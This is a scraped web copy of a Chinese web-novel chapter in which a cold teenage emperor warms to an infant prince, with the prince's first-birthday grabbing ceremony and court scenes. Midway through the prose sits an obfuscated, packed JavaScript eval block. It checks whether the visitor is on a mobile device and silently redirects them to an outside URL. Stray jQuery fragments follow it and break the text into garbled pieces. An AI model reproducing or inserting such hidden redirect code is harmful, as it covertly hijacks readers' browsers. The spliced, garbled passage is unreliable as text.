7. 第 7 章

作品:《我是封建大爹的假皇子

    皇帝望着天上的风筝,目光幽幽,视线随着风筝停留了一刹那,随即落在姬钰身上。


    他伸手捏了捏姬钰圆润的小脸,姬钰还在目不转睛地看风筝,一边看一边伸手指,道:“父皇!你看,有老鹰,还有狮。子!”他自信满满道:“狮子飞高高!”


    皇帝淡淡道:“老鹰飞得更高。”老鹰风筝有翅膀,必然比老虎风筝飞得更高。


    他说得没错,果然是老鹰飞得更高,姬钰眼见自己猜错了,讪讪道:“看来父皇你比我聪明一点点欸。”


    皇帝觉得好笑,他何必和一个小孩子争执两只风筝谁飞得更高?自从姬钰出现在他身边,他总感觉自己也变得越来越幼稚了。


    他恢复了平素不言苟笑的模样,严肃地抱着姬钰看完了风筝,又抱着玩困的姬钰回了明光殿。


    没过多久便是姬钰的周岁生辰。


    这日姬钰睡醒后,睡眼朦胧地抱着小被子,正犹豫今天要玩什么,却看见明光殿里里外外挂满了红彤彤的小灯笼,还挂上了红色的长幅,热闹又喜庆。


    这么快过年了?


    姬钰懵懵懂懂地想。


    哪知殿外陆续进来了不少大臣,个个身着朱紫,华衣高冠,姬钰有点懵了,还没想清楚究竟是怎么回事,便被宫人小心翼翼地抱上了紫檀雕龙纹案。


    四周围被放上了十二件什物,有翡翠算盘、鎏金小弓、官印、论语、钱币等等,姬钰坐在中间,终于意识到今日是他的周岁生辰。


    皇帝站在案前,等着看姬钰抓周,直到此刻他才察觉,他竟然放任这个小东西在他身边活了大半年。


    姬钰越长越大,很容易被有心人利用,成为他的威胁。


    不过,这个小东西就算长到十岁,二十岁,他也能牢牢控制住他。


    留他一命,对他来说只是一件微不足道的小事,仅此而已。


    皇帝冷淡地想。


    坐在长案中间的姬钰顶着所有人期待的目光,终于动了起来,他慢慢朝皇帝附近的官印靠近,太后以及朝臣都以为姬钰要抓住官印,心里翻起无数个念头。


    姬钰的小手离官印越来越近,众人盯着他的动作,谁知下一刻他竟然伸出双手,抱住了皇帝。


    众人:“……”


    小殿下抓周抓中了皇帝,这意味着什么?


    皇帝盯着姬钰抓住自己的小手,目光晦暗不明,这座皇宫之中,这孩子最信赖的人竟是自己。


    他一只手抱起姬钰,另一只手依次拿起抓周的十二件什物,首先拿起象征权势的官印,姬钰盯着金灿灿的官印摇了摇头,抱紧了皇帝。


    按照原书来说,皇帝才是他骄奢生活的来源。


    所以他只要抱住皇帝就可以了。


    接下来的十一件什物,姬钰也都摇头,皇帝放下手上最后一件什物,凝视着姬钰,不知在想什么。


    有朝臣道:“陛下,不如重新让小殿下抓周。”如果不让小殿下重新抓周,他日史书上就会记载,小殿下抓周抓中了父皇,岂不贻笑大方。


    姬钰抱住父皇,把小脑袋摇得像拨浪鼓,皇帝一手定住他的脑袋,道:“不必了。”


    自有记忆开始,他见过的算计和利用数不胜数,或许,养着一个全心全意都是他的小东西,也是一种乐趣。


    皇帝漫不经心地想。


    姬钰只是隐隐感觉到剧情似乎开始回到正轨了,原先对他有点口是心非、爱搭不理的皇帝,慢慢开始变成原著中宠溺皇子的父皇。


    虽然变化好像不是很大,但是姬钰已经心满意足。


    抓周结束后,皇帝在乾清宫给他举行了周岁生辰。


    少年皇帝坐在龙椅上,姬钰坐在一旁的摇篮上,摇篮前面的护栏做得较为低矮,姬钰可以清楚地看见大殿里的众人。


    满朝臣子,朱衣紫衣,华贵非常,看起来很是庄严。


    那些臣子看姬钰的目光都很恭敬,恭敬中透着复杂的情绪,还有几个颇有地位的朝臣站起身朝姬钰敬茶,又说了几句祝福的话。


    只是词措太过文雅晦涩,姬钰一点也听不懂,只能朝他们礼貌地笑了笑。


    朝臣们受宠若惊,坐下来忍不住朝同僚炫耀,小殿下朝他笑了。


    同僚呵呵一笑,心想,这大殿里这么多人,谁知道小殿下究竟是朝你笑的,还是朝我笑的。


    姬钰全然不知生辰宴上的暗流涌动,高高兴兴地吃了许多好吃的,就连平日皇帝不让他吃的蜜饯,他也一口气吃了整整三颗。


    太后望着皇帝身侧粉雕玉琢的姬钰,一时间想不明白皇帝究竟是什么意思,非但不杀姬钰,还留着他,甚至还似乎把他当成了亲生子嗣般宠爱。


    难不成那天晚上皇帝神志不清,误把姬钰认成了自己的亲生子嗣?


    不过,以她对皇帝的了解,皇帝这般冷心冷情的性子,哪怕是对待亲生子嗣,恐怕也没有这般好脾性。


    太后虽然百思不得其解,但是眼下这种局面她乐见其成,只要宫里有年幼的皇子,一旦皇帝出现什么意外,她便可以重演一次扶持幼子登基的戏码,继续当她的摄政太后。


    她看姬钰的目光也柔和许多,想到今日是姬钰的周岁宴,便一口气赏赐了姬钰许多礼物。


    到了夜里,宫人把礼物清点入库,精挑细选了一些新巧玩具给小殿下解闷。


    姬钰玩得起兴,他认真地挑出了一些最好玩的,等着明日给皇帝送去。


    说曹操曹操到,姬钰正低着头,眼前赫然出现了一抹金黄色的衣摆,他一抬头便看见了皇帝。


    “父皇!”


    姬钰兴高采烈地举起玩具,高兴地给皇帝看。


    是一只带着滑轮的青铜虎,口中含着陶丸,摇头摆尾,叮叮当当地响。


    拨一拨后面的机关,它便会滑动起来。


    姬钰给皇帝演示了一遍,小手推着青铜虎飞出去小一段距离,只是他力气太小,青铜虎很快就停下不动了。


    郝敕正要把青铜虎捡起来,还给小殿下。


    皇帝已经俯下身,拾起那只青铜虎,放在姬钰面前,随手一拨机关,青铜虎飞掠而去,飞了足足半丈距离。


    姬钰看得眼睛都呆了,连连拍手,道:“父皇教我!”


    皇帝示意郝敕将青铜虎取回,郝敕犹豫了一下,拨动机关,将青铜虎飞了回来。


    下一刻,他微微一惊,为自己唐突的动作感到后怕,万一陛下觉得他太过孩子气,行事妄为,那可如何是好。


    姬钰替他拍手叫好,道:“郝敕也厉害!”


    郝敕的年纪和皇帝一般无二,都是十五六岁上下,他自小跟随皇帝长大,身处权势中枢,自然和寻常人家的少年不同,旁人这个年纪都是爱玩爱闹的时候,他们却不动声色,平静内敛,比官场上的老狐狸还要沉稳。


    郝敕本以为皇帝会见罪于他,谁知皇帝竟然微微颔首,道:“不错。”


    郝敕瞬间受宠若惊,没想到竟然会得到陛下的赞赏,想来是陛下爱屋及乌,见小殿下夸赞他,有意附和小殿下的话。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135814|196275||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    姬钰刚过了周岁生辰,正是兴奋得睡不着觉的时候,拉着皇帝和郝敕,三个人一起玩玩具。


    皇帝从小到大都没有玩过寻常孩子玩的玩具,起先动作略显生涩,后来渐渐熟练了不少。


    陪着姬钰玩了半个时辰,皇帝还要赶回去上晚朝,姬钰也有些困倦了,打了个哈欠,眼角冒出了点点泪花。


    皇帝俯身抱起姬钰,将人放回摇篮,替他盖上小被子,低声道:“睡吧。”


    临走前,皇帝想了想,吩咐郝敕:“把今天抓周那十二件东西,全部挂在小殿下摇篮上。”


    郝敕微微一怔,连忙称是。


    方才那些朝臣还私下议论小殿下抓周什么也没抓着,一转眼陛下就把东西全部送到小殿下面前了。


    外头都说小殿下对陛下来说非同一般,这哪是非同一般,分明是将小殿下放在心上,宠爱有加。


    姬钰一觉醒来便看见了摇篮上的东西,十二件抓周的东西悬挂在摇篮上,在窗光下熠熠生辉。


    他伸手拨弄了一下,这些东西便转了起来。


    姬钰对这些东西都不感兴趣,他只对吃什么,玩什么有兴趣。


    自从他的周岁生辰之后,姬钰发觉皇帝肉眼可见地对他好了许多,比如默许他出现在养心殿。


    皇帝一天要上三次朝,早朝,午朝,晚朝,除了早朝在金銮殿上,午朝和晚朝都在养心殿内举行。


    姬钰偷偷摸摸地来到养心殿,不巧撞上了晚朝,一众臣子正战战兢兢地坐在皇帝身边,围绕着龙椅,分列左右。


    内阁的朝臣们小心翼翼,如履薄冰,生怕触怒了皇帝。


    皇帝虽然年少,但是性情却心狠手辣,杀伐果断。


    不知说到何处,一个朝臣骤然面色发白,扑通跪在地上,哀声道:“陛下,微臣从未贪墨一毫一厘,至于卖官鬻爵,兼并土地,更是无稽之谈,还望陛下明鉴。”


    另一个朝臣拿出证据,桩桩件件,无不证明他确实犯下种种罪过。


    那朝臣神色灰败,不再说话。


    从始至终居高临下,冷眼旁观的皇帝冷淡道:“交由大理寺处理。”


    大理寺是何等地方,刑名严苛,一旦进了那里,纵使不死也得残废。


    那朝臣更是面如死灰,内阁其余臣子亦是胆战心惊,这位可是太后一党的重要人物,作威作福多年,权势根深蒂固,难以动摇,如今却被皇帝一举扳倒。


    皇帝忽而垂眸看了一眼龙案底下,神色依旧平静,难以捉摸,却比方才少了一丝冷意。


    内阁臣子无不暗中察言观色,揣测上意,见此情形,皆感诧异,陛下这是看见什么了?


    “蹲着不累么?”只见皇帝轻声问道。


    龙案底下冒出一个小脑袋,姬钰站起身,抱住皇帝的手臂,稚声稚气道:“父皇。”


    皇帝“嗯”了一声,将他抱到摇篮上,似乎终于想起此刻还未下朝,对内阁的朝臣道:“继续。”


    内阁的朝臣面面相觑,谁都不敢出声置喙,只能硬着头皮继续议政。


    姬钰坐在摇篮里,小脑袋靠着父皇的手臂,好奇地听着他们说话。


    朝臣出乎意料地发现,有小殿下在这里,陛下似乎没有之前那么恐怖了。


    皇帝静静地听着他们议论国事,并不说话,眼睛看着摇篮里的小殿下。


    小殿下出身不算光彩,血脉也有作伪的可能,但是到底是宫中唯一的皇子,又受尽帝宠,朝臣们眼观鼻鼻观心,心下有了思量。